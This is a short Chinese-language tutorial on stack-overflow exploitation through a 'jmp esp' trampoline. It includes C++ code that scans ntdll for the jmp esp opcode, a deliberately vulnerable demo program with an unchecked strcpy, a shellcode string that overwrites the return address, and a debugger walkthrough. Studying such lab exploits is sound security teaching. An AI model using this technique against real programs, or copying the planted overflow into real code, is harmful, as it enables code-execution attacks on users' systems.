通过jmp esp利用栈溢出,首先我们要找出jmp esp 的地址,因为系统不同,通用jmp esp的地址可能不同,下面的代码是找出jmp esp的地址的:
#include<windows.h>
#include<iostream.h>#include<tchar.h>
int main()
{
int nRetCode=0;
bool we_load_it=false;
HINSTANCE h;
TCHAR dllname[]=_T("ntdll");
h=GetModuleHandle(dllname);
if(h==NULL){h=LoadLibrary(dllname);
if(h==NULL){cout<<"ERROR LOADING DLL:"<<dllname<<endl;
return 1;
}
we_load_it=true;
}
BYTE* ptr=(BYTE*)h;
bool done=false;
for(int y=0;!done;y++)
{try
{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
{int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}}
catch(...)
{
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}
if(we_load_it)
FreeLibrary(h);
return nRetCode;}
我用的是0x772e55f7
给出程序:
#include "stdio.h"
#include "windows.h"
#include "string.h"char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xf7\x55\x2e\x77\x90\x90\x90\x90\x6a\x05\x6a\x04\x6a\x03\xe8\x7a\xfe\x40\xff\x83\xc4\x0c";void fun1(int a, int b)
{printf("fun1 run!para a=%d,b=%d\n",a,b);char aa[4]={0}; strcpy(aa,shellcode);
}
void fun2(int a)
{printf("fun2 run! para a=%d\n",a);
}
void fun3(int a,int b,int c){printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}
int main(int argc, char* argv[])
{printf("begin\n");fun1(1,2);__asm{mov eax,4198410call eax}printf("end\n");return 0;
}
反汇编调试:
执行完strcpy,发现数据溢出了,有的数据被覆盖了
执行到ret,esp地址存放的内容是0x772e55f7,jmp esp的通用地址
执行jmp esp ,执行完eip的值和esp一样,为0x0019fedc
我们就会跳到0x0019fedc继续执行
从上图可以看出程序执行的代码就是从0x0019fedc开始,把数据当作机器码,机器码所对应的汇编就是程序要执行代码。而这些数据就是shellcode的内容,所以利用jmp esp跳转,让机子干什么就把对应的机器码放在shellcode里,但注意,不能有如果有00数据,一定要放在最后